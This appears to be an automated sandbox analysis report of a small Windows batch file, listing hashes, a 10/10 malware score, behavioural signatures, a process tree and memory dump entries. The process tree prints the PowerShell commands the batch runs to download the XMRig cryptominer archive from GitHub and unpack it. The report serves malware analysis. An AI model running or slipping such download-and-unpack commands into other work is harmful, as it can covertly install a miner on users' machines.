04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (5).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2204	powershell.exe
4	2204	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2204	powershell.exe
1756	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2204	1924	cmd.exe	29
PID 1924 wrote to memory of 2204	1924	cmd.exe	29
PID 1924 wrote to memory of 2204	1924	cmd.exe	29
PID 1924 wrote to memory of 1756	1924	cmd.exe	30
PID 1924 wrote to memory of 1756	1924	cmd.exe	30
PID 1924 wrote to memory of 1756	1924	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1756

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N78882UHCYKTBNDC4EVE.temp

Filesize
7KB

MD5
2c32603ed255e3c5181d0d46673001b5

SHA1
65091e659f1345d0d8fee4ba833b500a5dbbcc65

SHA256
ad8380819159e85e5235b113aff2e7c3228ec50e6473893f90bc2d310c094803

SHA512
2011dfed30fa9980341bf216ca1996d48eaacfc10a175f79c336ecb7c9b7baa6e4de36a62ed6fbf72f6f7d3a47429468cbbd876b24509152ac8ec119918b8bf0

Download Submit
memory/1756-24-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1756-25-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1756-20-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/1756-21-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/1756-23-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/1756-27-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/1756-26-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1756-22-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1756-19-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2204-6-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-8-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-12-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/2204-9-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/2204-13-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-4-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2204-11-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/2204-10-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/2204-5-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2204-7-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download